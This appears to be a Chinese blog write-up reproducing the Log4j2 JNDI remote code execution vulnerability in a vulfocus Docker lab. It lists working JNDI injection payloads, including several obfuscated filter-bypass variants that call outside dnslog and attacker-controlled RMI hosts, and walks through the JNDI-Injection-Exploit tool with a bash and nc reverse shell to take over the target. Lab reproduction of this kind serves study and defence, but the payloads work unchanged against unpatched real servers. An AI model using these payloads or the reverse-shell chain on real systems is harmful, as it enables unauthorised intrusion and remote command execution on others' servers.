zoukankan      html  css  js  c++  java
  • Log4j远程代码执行漏洞复现

    0x01 漏洞描述

    log4j远程代码执行已经爆出好几天了,因为种种原因一直没有跟上时间进行发表文章,抽出一点时间复现一下这个漏洞

    0x02 时间点

    2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本。

    0x03 漏洞环境搭建

    1.我这里使用的是vulfocus提供的docker环境,只需要在拥有docker的环境中运行
    docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest命令就可以了
    2.运行好之后使用docker ps查看已经运行的容器,确定容器启动成功。

    3.可以看到,他吧容器中的8080端口映射到了虚拟机的32768端口中,我们尝试直接访问虚拟机32768端口,成功(如果虚拟机docker启动成功物理机访问失败可能是防火墙的问题哦)。

    0x04 payload

    ${jndi:ldap://dnslog.cn}
    

    bypass

    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
    ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
    ${jndi:rmi://adsasd.asdasd.asdasd}
    ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
    

    0x05 漏洞验证

    vulfocus给我们提供的环境是/hello请求中传递的payload参数,我们只需要尝试在提交的payload参数中添加我们要插入的payload就好了
    1、使用DNSLOG进行验证,可以看到,我们使用dnslog可以直接进行测试漏洞是否存在

    2、随便尝试两个bypass,都是可以的

    ${${::-j}ndi:rmi://qrdxrs.dnslog.cn/ass}
    

    ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://r0x0ob.dnslog.cn/poc}
    

    0x06 执行命令

    工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
    源码地址:https://github.com/welk1n/JNDI-Injection-Exploit
    jar文件地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases
    1.本地启动恶意jndi注入代码

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "需要执行的命令" -A "监听的IP地址,0.0.0.0表示全部"
    

    我这里就直接使用bash + nc进行shell的反弹和接收了。

    2.服务器端开启命令对应的NC监听

    3.在网页中请求中payload参数为jndi注入的地址
    可以根据被攻击目标的JDK版本选择不同的恶意类(不确定的化可通过fuzz进行尝试),我这里使用的是第一个rmi://0.0.0.0:1099/5z0peo

    4.发起攻击请求,jndi工具记录了JNDI远程加载日志

    payload=${jndi:rmi://192.168.146.1:1099/5z0peo}
    


    5.服务器NC接收到bash反弹shell

  • 相关阅读:
    运算符优先级口诀
    [转] 从最大似然到EM算法浅解
    推荐系统实践整体化总结
    Python-函数
    Python-dict/set
    Python-条件、循环、
    Python-list and tuple
    优先级顺序表
    8.1python类型注解
    9.redis-CacheCloud
  • 原文地址:https://www.cnblogs.com/KHZ521/p/15725619.html
Copyright © 2011-2022 走看看